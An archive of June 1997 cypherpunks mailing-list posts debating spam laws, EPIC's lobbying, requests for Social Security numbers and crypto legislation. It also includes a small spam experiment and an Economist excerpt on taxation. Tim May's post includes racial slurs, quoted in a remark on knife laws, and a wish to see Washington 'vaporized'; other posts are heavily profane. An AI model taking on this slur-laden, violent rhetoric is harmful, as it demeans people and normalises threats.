grow to be far more than the number of telemarketers.  Easily a figure could 
be reached that ten times more spammers could start a business than the number 
of telemarketers.

In 1990, more than 30,000 telemarketing operations employed over 18 million 
Americans.  Easily we could see over 300K spam operators in business, 
employing less than one million people.  Each of these individual spammers 
could be sending out daily spams.  Many of them would be able to reach a 
significant portion of the internet users on a daily basis.

At 09:28 AM 5/31/97 -0700, Tim May wrote:
>Your point being?
>
>Any laws forbidding spam generation in the U.S. will simply (or already)
>move the spam-originating sites offshore. Then what happens?

As long as the companies who are advertising have US offices, the offshore 
factor will not matter.  Existing fax precedent makes the advertiser the one 
ultimately responsible for the ad.


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Charset: noconv

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CHv7lvhxndUT+wPlV40BjCohL9kknuOkLbeZeAoMCGlZkZ9ThIXVYQ==
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  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger.tm@dev.null
Date: Mon, 2 Jun 1997 08:20:39 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
Message-ID: <199706012354.RAA19136@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert A. Costner wrote:
>  If EFGA has a
> position, it is that first the current laws should be tested against spam.  No
> new laws should be proposed until today's laws can be shown to be useless
> against the problem.

  Regardless, you are already preparing to participate in the
process of new laws being implemented.

>   DATA GATHERING
>  While there is nothing wrong with data
> harvesting in it's self, what one does with the info may be called into
> question.

  The data is going to be misused. Future legislation will be 
nothing more than a fight over who gets to misuse it.

> Data Collection procedures may be less restrictive than identification
> requirements, or content bans.
> The reason the TCPA is carefully considered is that once the law allowed for
> the promulgation of rules, the FCC had a series of public comment periods and
> promoted rules that highly favored privacy while trying to balance the fair
> practices of telemarketers.  Unfortunately, with spam, most spammers do not
> have "fair practices".

  This can be translated to mean that the little guys can do the
same thing that large companies do, only without having to hire
high-priced legal help to tell them how to route around the "rules."

> If is highly likely that the spam question could be quickly addressed and more
> clearly defined without new laws simply by a comment period and the
> promulgation of new rules.

  No new laws, just new rules. Doublespeak?
 

> SPAM vs TELEMARKETING
> In 1990, more than 30,000 telemarketing operations employed over 18 million
> Americans.  Easily we could see over 300K spam operators in business,
> employing less than one million people.  Each of these individual spammers
> could be sending out daily spams.  Many of them would be able to reach a
> significant portion of the internet users on a daily basis.

  Right. I'm going to receive 300,000 spams a day without taking 
steps to stop it, because I'm stupid. And nobody in the free market
is going to figure out that they can make a shitload of money by
providing a product that solves the problem. And enough people are
going to sort through 300,000 emails a day and send people money
to keep all the spammers operating.
  Since we're all so stupid and incompetent, I guess we'd better 
count on the government and the EFGA-type organizations to do
what is necessary to "save" us.

  Robert's immediate solution is to take a law that doesn't work
and promulgate "new rules" so that it does.
  Right. The "new rules" are going to be decided on by the same
lame bunch of actors who made the "old rules" which don't work.
And all of those people who aren't paying attention to the old
rules are going to have a vision from heaven which tells them
to follow the new rules.

  Question: "With all of the organizations 'busting their ass'
for our benefit, when do we start seeing the *good* legislation?"

  I can use strong crypto to keep my communications private and
I can maintain control over my private key. The government wants
to pass legislation to change that. What's to debate?
  I need groups of self-appointed saviors to negotiate the method
and timing of how my privacy and freedom are going to be taken
away? I don't think so!
  These "saviors" of our rights are doing nothing more than serving
as a buffer for the government as what we already have is being
stolen from us. They have taken it upon themselves to negotiate
our retreat in the face of loss of our privacy and freedom. They
are providing the government with a stamp of approval for "reasonable
compromise" of our freedom and privacy via "acceptable legislation."

  If these organizations are so concerned about my rights, then why
do I never see the words "Nazi Ratfuckers!" in their press releases?
  No more free buffets? No more power lunches with the power mongers?
No more nights in the Lincoln bedroom?
  (OK. I'll calm down and be "reasonable." How about the word,
"Bullshit!" I've read the government press releases, I've heard the
speeches. It's bullshit, but all I hear coming out of the mouths of
the "saviors" of my rights is replies in kind--politispeak.)

  I keep hearing how these organizations that haven't kept us from
getting fucked in the past are working for the future, when one of
our own is in jail *now*.
  Want to impress me? Do something for Jim Bell, because tomorrow
it's Tim May, and Adam Back a week later (they got Noriega, and 
they can get Adam, too.)
  You don't have time to aide Jim Bell, but you have time to give
me dire warnings about getting 300,000 emails a day? You have time
to tell me that the "solution" is to have the people who wrote 
rules that don't work write *new* rules?
  Horseshit!

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 2 Jun 1997 06:37:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb68a25627d@[205.177.146.237]>
Message-ID: <3.0.2.32.19970601180348.03461abc@keystone.intergate.net>
MIME-Version: 1.0
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-----BEGIN PGP SIGNED MESSAGE-----

At 08:27 PM 5/31/97 -0700, Tim May wrote, concerning Marc Rotenberg:
>What we are talking about here is whether there's a need for new laws to,
>using your specific example, stop companies from asking for personal
>information.

A new grocery store opened down the street from me.  They have lots of special 
prices, but only available to "club members".  Club cards are free, but you 
have to fill out a form.  The form asks for:

1.  Name
2.  Address
3.  Phone Number
4.  Spouse name
5.  Social Security number

In exchange for giving this information, the store will give me a 35 cent 
discount on each package of soft drinks I purchase.  This is not a check 
cashing card, that is a separate form.  This is a cash transaction.

Why does the store need my social security number for me to purchase soft 
drinks and eggs?  (40 cents off on eggs this week)  I see no reason for it.  
If I provide a false number, I have probably committed some crime.

Yes, I would support a law that forbids private companies to ask for social 
security numbers except for tax purposes.


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  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 2 Jun 1997 09:22:23 +0800
To: cypherpunks@algebra.com
Subject: Creating a unique ID number for a dollar
In-Reply-To: <v03102800afb7ba21be7b@[207.167.93.63]>
Message-ID: <v03102801afb7cce12642@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:25 PM -0700 6/1/97, William H. Geiger III wrote:

>IMHO the request for SS numbers are usally done out of convieniance more
>than anything else. This is not to justify it just an explanation why so
>many palces request SS numbers.
>
>Anyone that has written database software where unique information is
>stored on individules a SS number is quite convienat as everyone has a
>unique one. Most employee, payroll, medical, insurance, credit, databases
>use SS numbers rather than create individule id #'s. One's SS number has 2
>unique qualities that make it perfect for this use: 1 every person has a
>unique #, and 2 it never changes. This can not be said for any other
>identifiers one may use, names, addresses, DL #'s, ...ect all have the
>possiablity to change over time while your SS # is forever. By using SS #
>as id #'s makes communication of data between diffrent database all that
>much simpler. From personal experiance I can testify that the entier
...

This reminds me of a hack I heard about some years back.

There's a way to generate a number for any person which is unique. It is
not shared by anyone else on the planet.

Best of all, this number can be generated without use of a computer,
without entry of any allegedly random numbers, and without any hashing of
personal data. It's not necessarily a real short number, certainly not as
short as an SS number.

And best of all, the cost is low. Just a dollar, in fact.

I'll explain later.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 2 Jun 1997 10:18:07 +0800
To: Robert Hettinga <cypherpunks@algebra.com
Subject: Re: e$: Beltway piglets and other barnyard animals
In-Reply-To: <v03007800afb6766f6f7f@[204.179.142.132]>
Message-ID: <v03102802afb7ceba955c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:01 PM -0700 6/1/97, Robert Hettinga wrote:
>At 9:05 pm -0400 on 5/31/97, Marc Rotenberg wrote:
>
>> Keep me posted. If legislation is threatening a good technical
>> solution, I'll be the first to blow the whistle.
>
>Bunk.

If you want Marc R. to read your message, you really should cc: him on it.
I don't think he's subscribed to the Cypherpunks list (though I could be
wrong). I am adding him back on as a cc: to this message (I would've cc:ed
him on my original "Rotenberg as the Uber Enemy" message a few days ago,
had I known he would join in the discussion later).

>The actual contribution of Mr. Rotenberg and his organization to the cause
>of freedom on the net, in this country, and around the world, can be found
>precisely in a competant analysis of above bit of semantic nonsense. That
>is, it is nil, if not negative.

Actually, I plan to take Marc at his word if such a situation comes up and
EPIC is still involved in such lobbying.

For starters, the "all e-mail must have a valid return address" legislation
already being proposed (I know of bills by Barbara Murkowski of Alaska, and
Denny Smith of Oregon; there may be others) is not only "anti-liberty," in
the libertarian sense, and in the Supreme Court sense (McIntyre), it is
also a *disincentive* to various digital technologies. It would put
remailers in the U.S. out of business (we think, though it depends on the
precise language of what a "return address" really means...employment for
entire floors of lawyers at the Internet Regulatory Commission, no doubt).

Likewise, EPIC can and should announce that it will not support SAFE if any
form of criminalization language remains.

We would not find it acceptable to have a law which encouraged the
placement of microphones and cameras in private homes, "voluntarily," but
which then said "Anyone who does not participate in the Voluntary Safe
Surveillance Program and who is found to have committed a crime furthered
by the failure to volunteer shall be subjected to additional imprisonment
of at least 5 years."

This is what the criminalization of crypto is all about. It is not, as is
so often suggested, analogous to "use of a gun" in a crime, nor to "use of
the public mails." It is much closer to the examples I cite, language and
religion, than to use of a publicly-regulated monopoly like the telephones
or the mail. The gun situation is presumably related to the threat of
bodily harm...I'm not saying I agree with "use a gun, go to prison"
sentencing enhancements, but a stronger case can be made than for "use a
cipher, go to prison.

So, Marc can immediately prove the honesty of his point by:

a. denouncing any "return address" requirements and refusing to cooperate
with any Congressthing who espouses such wrong-headed ideas

b. denounce SAFE if it has any hint whatsoever of criminalization of crypto

(Or of any of the (apparent) language about technical review panels
deciding on exports...this is, to many of us, a code phrase indicating that
SAFE will by no means make export of arbitrarily unbreakable ciphers an
automatic process.)

As I've said in other essays on SAFE, all that is needed to accomplish the
goals of SAFE--the PR goals of SAFE, not the current language!--is this
statement:

"Computer software shall have the same status as any other written
material: it shall not be subject to any laws regarding possession, sale,
or export."

Come to think of it, the First Amendment already states that Congress shall
make no law. As for exports, the First has been applied to show that
Congress cannot decide which books, magazines, movies, etc., may be
exported. (And the Bernstein and Junger cases may soon consolidate the
status of this interpretation for software.)

So what do we even need SAFE for? Why give them any hooks, any "use of
crypto in furtherance of a crime" language?


>
>Given his past outrageous failures, and his persistant attempts to waste
>whatever reputation he now has left, remarks like the above finally prove
>the trust people had for him and the organizations he has run was
>completely misplaced. A reputation, I might add, literally *donated* to him
>by thousands of people and companies, who all believed in and trusted him
>*personally* to keep the Uncle Sam the Inquisitor out of their lives on the
>net. He has now squandered all of it with the demonstrable cluelessness
>found in the above bit of self-serving emeticism.

Bob actually makes me appear charitable toward Marc!

I agree with Bob that EPIC, CDT, VTW, EFF, CPSR, and the other alphabet
soup players are just plain old lobbyists, pure and simple. Who they are
lobbying _for_ has never been clear to me, despite their public statements
and charters.

Being a rejectionist, I don't see the point of dealing with Congress. The
usual view is that "If you don't get involved, things will be even worse."
I'm not convinced of this. It's often better to not lend them any support,
not lend them any technical expertise, and devote all energies to
undermining and challenging their actions later.

And helping them draft legislation only feeds the process.

I think it was George Carlin who said, "If you think you're part of the
solution, you're part of the problem."



>Tim May has said it here before, but it bears repeating. The way a
>"lobbyist" stays in business is to threaten an otherwise innocent group of
>people with the power of real or imagined legislative coersion. The
>"constituents" then pay extortion to the legislature in the form of
>outright campaign contributions through a political action comittee, or by
>showing up at "voluntary" fundraisers on behalf of collusionary
>legislators, or through soft-dollar labor ("research", for instance) that
....

(good explanation of D.C. politics elided)

Every one of the 535+ Congresscritters has a large staff (dozens? multiple
dozens?), whose purpose is to feed the machine.

As Bob notes, when funds gets low the legislators can threaten legislation.
They may even convince themselves its a good idea. And they have various
other contributors and pressure groups jockeying for laws and favors.

It's all very nearly hopeless.

And the cancer has spread nationwide. Just in my local community there are
half a dozen jurisdictions, several "City Halls," multiple police forces
(overlapping in territory covered), hundreds of new and byzantine rules
every month, more fees, more inspectors, etc. As but one example, we're
drilling a new well to replace our old well....the County wants $1000 to
send a guy out to nod his head and initial our request--and with no
guarantee they'll approve the well. More fees are needed for that. This is
just plain robbery, though pro-government folks would likely say it is some
kind of "pay as you go" reform (as in "We have a 6-story County
Administration Building and 753 people on the payroll to pay for...so why
shouldn't we extort a grand from you to help pay for it?").

There are so many laws it's impossible to know which laws I'm breaking. I
carry a Benchmade AFCK folding knife clipped to my pants pocket. In Santa
Cruz proper the law says that such a knife is considered "concealed" if
clipped so that only the clip shows, whereas in Santa Cruz County, outside
the city limits (though maybe the laws just cancel out inside?) the
interpretation allows knives to be carried in pockets. And in some other
local areas, the clip doesn't have to be visible. (And in some places, a
knife worn "openly" is considered "brandishment.") Further, violations of
these confusing  and often contradictory knife laws are _felonies_, not
misdemeanors (the felony status of knife law violations, where gun
violations are often misdemeanors, is said by experts in rec.knives and in
my gun magazines to come from the time when "niggers and spics" carried
switchblades, concealed knives, dirks, buckle knives, etc., while
"gentlemen" carried derringers and small revolvers for protection...so the
law came down hard on the knife-carrying spics and niggers and the heritage
is with us today.

It's getting to where I need a CD-ROM  and GPS mounted in my truck telling
me: "You are about to cross into the jurisdiction of Burgville, California.
The following items are illegal and must be disposed of or moved to a
locked container: ..."

This explosion of rules, statutes, licenses, laws, regulations, and
limitations is being fed by the multiple City Councils, Boards of
Supervisors, County Commissioners, City Managers, and hordes of burrowcrats
(sic, and sick, too) infesting the multi-story "government" buildings in
every small town and county. Not to mention entire cities devoted to
lawmaking, like Sacramento, Albany, Washington, etc.

The simple question to ask is this: Why do we need several thousand
rule-generating and lobbyist-seeking governments? Why do we need
governments at the neighborhood level, the township level, the city level,
the county level, the state level, and the national level? (And the
meta-national level, with the U.N, World Court, OECD, etc.)

I could comment more on Bob's other points, but I think you all get the
picture.

Things are way out of control. Not because of any intrinsic evilness on the
part of the bureaucrats, but just for purely systemic reasons. This has to
change, and it can't be changed from within....the rules won't allow it.
The  change has to come from outside, probably from some severe jolts
applied to the system.

No, I don't mean blowing up Washington, or even a few buildings. Much as I
might like to see D.C. vaporized, such jolts are not what I am thinking of.

Undermining the institutions of government with strong crypto is one of the
jolts. There are others.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 2 Jun 1997 08:53:21 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102800afb7ba21be7b@[207.167.93.63]>
Message-ID: <199706020045.TAA07340@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800afb7ba21be7b@[207.167.93.63]>, on 06/01/97 
   at 04:54 PM, Tim May <tcmay@got.net> said:

>I have no idea why they want a SS number, except perhaps that they see
>every government office demanding it and so they think it is part of the
>ID process. I of course would not give it. One is always free to turn
>down their offer of a 40 cent discount on eggs. Sounds fair to me.

IMHO the request for SS numbers are usally done out of convieniance more
than anything else. This is not to justify it just an explanation why so
many palces request SS numbers.

Anyone that has written database software where unique information is
stored on individules a SS number is quite convienat as everyone has a
unique one. Most employee, payroll, medical, insurance, credit, databases
use SS numbers rather than create individule id #'s. One's SS number has 2
unique qualities that make it perfect for this use: 1 every person has a
unique #, and 2 it never changes. This can not be said for any other
identifiers one may use, names, addresses, DL #'s, ...ect all have the
possiablity to change over time while your SS # is forever. By using SS #
as id #'s makes communication of data between diffrent database all that
much simpler. From personal experiance I can testify that the entier
Medical Insurance system is based on using SS # as identification. I
shudder to think trying to track medical records of patients over a period
of years between different doctors, hospitals, insurance companies without
using them.

I will not go into the privacy issues involved in using SS #'s for id #'s
as I am sure the members of the list are quite familiar with them. I just
wanted to point out that in some industries there is a technical advantage
to having 1 universal id #.

Now with that being said I personally would not shead any tears seeing SS
and SS #'s gone and to never return.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 08:25:24 +0800
To: cypherpunks@algebra.com
Subject: e$: Beltway piglets and other barnyard animals
In-Reply-To: <v03102806afb650b3d40d@[207.167.93.63]>
Message-ID: <v03020922afb728ab90f3@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:05 pm -0400 on 5/31/97, Marc Rotenberg wrote:

> Keep me posted. If legislation is threatening a good technical
> solution, I'll be the first to blow the whistle.

Bunk.

The actual contribution of Mr. Rotenberg and his organization to the cause
of freedom on the net, in this country, and around the world, can be found
precisely in a competant analysis of above bit of semantic nonsense. That
is, it is nil, if not negative.


Given his past outrageous failures, and his persistant attempts to waste
whatever reputation he now has left, remarks like the above finally prove
the trust people had for him and the organizations he has run was
completely misplaced. A reputation, I might add, literally *donated* to him
by thousands of people and companies, who all believed in and trusted him
*personally* to keep the Uncle Sam the Inquisitor out of their lives on the
net. He has now squandered all of it with the demonstrable cluelessness
found in the above bit of self-serving emeticism.

First, he led EFF to ignominious defeat with the digital telephony bill,
and now, like some kind of political gremlin, emerging unscathed after
engineering *that* jumbo-jet plane crash, he starts up EPIC, where he
slipstreams no-brainer ACLU court cases like CDA to stay in the beltway
pelleton. Now, as if to demonstrate once and for all his utter moral and
legislative vacuity on the breakaway, he tries to "legislate" spam out of
existance.

As if such a Carrolesque tactic like criminalizing internet spam was
economically, much less physically possible at all. I'd laugh, if it
weren't the kind of low scientific comedy found in totalitarian
dictatorships the world over. "Scientists" like Lysenko come to mind, as
does Marx, for that matter.


Hell, I'm a congenital Republican myself, and I've lived in quite a few
yellow-dog Democratic towns, including the one where I now live. I love a
good neighborhood political pissing match as much as the next guy. However,
Mr. Rotenberg's cynicism, as betrayed by that remark, goes way beyond the
fine old tradition of American political gamesmanship, and points straight
to the heart of the cesspool that has become public life as we know it
today.

That's because what we have evolved in this country is the ne plus ultra of
legislative sophistry, if not political fraud. (As if *that* phrase wasn't
already redundant...) If the ruling elite in this country was ever crazy
enough to turn the RICO statute on itself, EPIC would be behind bars, along
with Archer Daniels Midland, with the AARP, and all the other beltway
piglets, each of them  poking their little trotters into the eye of the
next one in line, hoping for a governmental sow's teat of their own to suck
on.


Tim May has said it here before, but it bears repeating. The way a
"lobbyist" stays in business is to threaten an otherwise innocent group of
people with the power of real or imagined legislative coersion. The
"constituents" then pay extortion to the legislature in the form of
outright campaign contributions through a political action comittee, or by
showing up at "voluntary" fundraisers on behalf of collusionary
legislators, or through soft-dollar labor ("research", for instance) that
the lobbyist does for "free" on the legislator's behalf. The lobbyist takes
a commission on all this cashflow in the form of his salaries and operating
expenses. If the "constituent" is lucky, the legislation goes away until
more money is required, whereupon the extortion begins anew with more
trumped-up legislative excressance. This would be fine, I suppose, business
is business, except that the principal measure of *any* legislator's
performance (besides, of course, voting his most active supporters as much
largesse from the public trough as possible) is the *quantity* of
legislation he produces. I mean, you can't have a voting record if there's
nothing to vote on. So, the very best any "constituent" caught in this
racheting spiral of extortion can hope for is to slow the pace at which the
legal noose tightens around his neck. The Digital Telephony/CDA flap is a
prime example of this, and Mr. Rotenberg either was charitably an unwitting
dupe in this process, or, if one were to take a cynical turn of mind,
gleeful at its eventual effect on his bottom line.

Eventually, a businessman so afflicted with such parasitism goes out of
business unless he can afford to utterly corrupt the legislator into going
away permanently, which only works until the legislator retires. More
likely, the business simply gives up and begins to operate as a criminal
enterprize. Using the legislature to kill his business competition, maybe.
Cargill and Archer Daniels Midland do this with agricultural commodity
subsidies and hyperregulation, and the largest Florida sugar companies have
this down to a science. Remember what Milton Friedman said: increasing
government regulation only raises the barriers to market entry and thus
only benefits the survivors in the regulated industry -- never the
consumer. Rockefeller held on to his monopoly in oil just by paying the
government to look the other way when he did something other oil companies
were being punished for. Duke did the same thing with tobbacco.

I'll say it here so there's no confusion about the matter: "Anti-Trust" is
just another legislative shell-game, because *no* business monopoly can
exist without government collusion, usually from the legislative branch,
though the executive can always be had for a price as well. Bill Gates went
to Martha's Vinyard before the last election to talk to Comrade Bill, and,
guess what? No more antitrust action. Anyone want to wager on the size of
the contribution, legal or otherwise? Again, the threat of "Anti-trust"
action is just the way that governments tell the monopolies they've
colluded to create that their graft bill is past due.


Anyway, I *would* say that this kind of extortion by government and
lobbyists would probably fall under the RICO statute if it were ever used,
except, of course, the RICO statute itself is, after the constitutional
ammendment which permitted the creation of the Internal Revenue Service,
probably the single largest attack on freedom this country has ever seen.


So, what *can* be done about spam? Easy. Write code, not law. My bet is on
some form of digital postage, myself. $MTP, if you will. But, there's no
way to solve the problem of spam except by writing code, whatever solution
emerges eventually, and that's the crux of even the simplest analysis of
Mr. Rotenberg's statement at the top of this message.


Certainly any attempt by Mr. Rotenberg and his fellow barnyard residents to
impose legislative fantasy on top of the economic and physical reality of
the net is at best delusional Lysenkoism, and, at worst, political
parasitism in it's purest form.

In other words, Mr. Rotenberg, bunk.

Cheers,
Bob Hettinga









-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hayden" <hayden@krypton.mankato.msus.edu>
Date: Mon, 2 Jun 1997 09:25:58 +0800
To: Fight Censorship Mailing List <CYBERIA-L@LISTSERV.AOL.COM>
Subject: A Spam Experiment
Message-ID: <Pine.ULT.3.95.970601194410.155A-100000@krypton.mankato.msus.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Over the past two weeks I ran a little, completely non-scientific,
experiment to examine the propgation of spam.

First, I created a bogus mailing address that forwarded to my normal
address, allowing me to see the different "to" headers.

I then posted a single "test" message to six usenet newsgroups to act as
catalyst.  These were:
	alt.tv.nypd-blue
	comp.org.eff.talk
	comp.os.ms-windows.apps.utilities.win95
	comp.sys.mac.portables
	misc.legal
	rec.arts.sf.tv

Over the next 72 hours, I received 28 pieces of spam, which I catagorize
as an unsolicited email attempting to sell me a product or service.  

12 of these messages had an address indicating I could respond to have my
name removed from future mailings.  I responded carefully to each address,
but 4 of them bounced as an invalid address, no such domain, or other
problem (no route to host, probably because it was physcially
diconnected).  I also notied that the "reply-to" field had no relationship
with the address to request removal on all 12 of them.

The other 14 pieces of spam were replied to the "Reply-to:" field.  All
were bounced as "no such user" or "no such domain".  One postmaster wrote
with a canned form letter saying their domain had been put in as the
reply-to field unknown to them. 

Over the next 72 hours, I received an additional 49 pieces of spam,
including one that was 850k in size and another that was 421k.

This batch was NOT replied to in any way, although 17 of them did include
an address to reply to request removal.

Since the initial six days, there have been a total of 4 spam messages,
all of them were also ignored.  The last 72 hours have had zero spam.

- ---

I need to do more tests with a new address, but I am curious as to if the
spike in activity during the second 72 hours wasn't caused by the fact
that I replied to messages requesting removal.  While it is possible that
it was caused by slow usenet propogation, it seems to have happened much
slower than propogation usually takes (about 12-18 hours on average in the
states, last I heard.)

This test wasted 3MB of mail space and total of about 75 minutes to
download and reply to (requesting removal).

Not that at no time did this mail address reqest any mail be sent to them.
The only crime committed was to post to usenet.

Just my numbers, FYI.

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Robert A. Hayden              hayden@krypton.mankato.msus.edu   __
         -=-=-=-=-=-                              -=-=-=-=-=-   \/_
         http://krypton.mankato.msus.edu/~hayden/Welcome.html    \/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 2 Jun 1997 13:10:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <v03102801afb7cce12642@[207.167.93.63]>
Message-ID: <199706020337.UAA24856@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Our Fearless Leader Writes:

> This reminds me of a hack I heard about some years back.

> There's a way to generate a number for any person which is unique. It is
> not shared by anyone else on the planet.

> Best of all, this number can be generated without use of a computer,
> without entry of any allegedly random numbers, and without any hashing of
> personal data. It's not necessarily a real short number, certainly not as
> short as an SS number.

> And best of all, the cost is low. Just a dollar, in fact.

> I'll explain later.

Hmmmmm.  How about taking a dollar, appropriating its serial number for
your personal number, and then burning the dollar to prevent reuse. 

Cost, one dollar.  Is burning a dollar a felony?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 2 Jun 1997 12:04:29 +0800
To: Tim May <mech@eff.org
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102800afb7ba21be7b@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970601203427.1603B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


So I just got back home after a pleasant dinner with Marc and a bunch of
other privacy- and crypto-folks on Capitol Hill. That is, it was pleasant
until Marc started yelling about libertarians being "Pod People," or at
least possessing similar critical thinking skills. :) 

Ahem.

I'd like to say I held my own, but I fear I was outnumbered. Besides, Marc
organized the dinner, and "Pod People" is a good line, and even I had to
agree that Steve Forbes is a space alien.

On Sun, 1 Jun 1997, Tim May wrote in response to Robert:
> 
> >Yes, I would support a law that forbids private companies to ask for social
> >security numbers except for tax purposes.
> 
> To put it as politely as I can manage, you have no conception of what it
> means to live in a free, uncoerced society.
> 
> No wonder the EFF is so fucked up.

To the best of my knowledge, EF-Georgia does not speak for the EFF. I
don't know if the EFF would support such a law as Robert describes.
Perhaps Stanton can help out here.

Rather than focus on private collection of SSNs, I'd rather cut them off
at the source. The government shouldn't be issuing them in the first
place. 

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Mon, 2 Jun 1997 09:34:03 +0800
To: cypherpunks@toad.com
Subject: Economist: The disappearing taxpayer
Message-ID: <Pine.LNX.3.95.970601210030.2637E-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




Cypherpunks views of the future in mainstream media.  Kind of fun. 
The following is from:

     http://www.economist.com/issue/31-05-97/ld4660row.html

      --  Vince
          http://www.offshore.com.ai/vince/


                              [The Economist]

                         The disappearing taxpayer

"THE art of taxation", advised Louis XIV's treasurer, Jean-Baptiste
Colbert, "consists in so plucking the goose to obtain the largest amount
of feathers, with the least possible amount of hissing." His observation
remains true, except for one big change. Unlike geese, people in the 17th
century did not know how to fly. Now they can. 

     In the coming decades electronic commerce -- combined with the growing
ease with which firms can shift their operations from one part of the world
to another -- will make it ever easier for people to flee countries where
taxes are high, or to evade tax altogether by doing their business in
cyberspace. The hole this will leave behind is already worrying many
governments (see ). Some argue that it is "unfair" for others to lure their
firms away by levying lower taxes, and are pushing for the harmonisation of
taxes. Another new idea is to impose a tax on electronic transactions. But
although governments everywhere will have to start thinking -- and soon --
about how to raise taxes in the newly weightless global economy, both
remedies are flawed.

A question of sovereignty . . .
Those who advocate harmonisation say that the alternative is a "race to the
bottom", as governments sacrifice social spending on the altar of
competitiveness. But different countries have different spending needs and
make different judgments about the proportion of income to devote to
transfers and public services. Indeed -- remember "no taxation without
representation" -- such decisions lie at the heart of modern politics. That
is why even in the EU, a relentless prober of the boundaries of national
sovereignty, proposals to harmonise taxes have made little progress so far.

     A recent proposal from a panel of economists to make up for the tax
losses caused by electronic commerce by introducing a "bit tax" on flows of
electronic information is similarly defective. It is hard to see how a
single country or even a group might impose such a tax without simply
forcing on-line transactions offshore. But in so far as it succeeded, such
a tax might just hamper the adoption of information technology, depriving
people and businesses of its great productivity benefits.

     So if neither of these ideas is any good, why not do nothing? It is
true that the full impact of electronic commerce and globalisation on
governments' taxation powers is still some way off. The fact that tax
levels vary from 60% of GDP in Sweden to 32% in America suggests that even
in a globalising economy governments are still able to make distinctive
fiscal choices. However, every so often a big Swedish company -- Ericsson
most recently -- threatens to decamp because egregious income taxes make it
difficult to recruit skilled employees. America's corporate taxes have
withered to insignificance because of the mobility of firms. At present
these are merely straws in the wind, and hardly new ones, but there is no
doubt which way the wind is blowing.

     Some competition between tax regimes may be a good thing, if it
encourages governments to show more discipline in their tax and spending
policies. But one day globalisation and electronic commerce could make a
sizeable dent in a country's total tax revenues. And these forces have
already made a big impact on the way the burden of taxes falls on a
population. This is what rules out the option of inaction.

 . . . and of equity
Not all firms, workers and products are equally mobile. Entrepreneurs,
scientists, tennis players and film stars may be able to uproot themselves
in search of lower taxes, but the average worker is still unlikely to
become a tax refugee. Although this may reassure governments, it implies
that governments will eventually have to cut taxes on the most mobile
factors of production, notably skilled workers, while taxes on less mobile
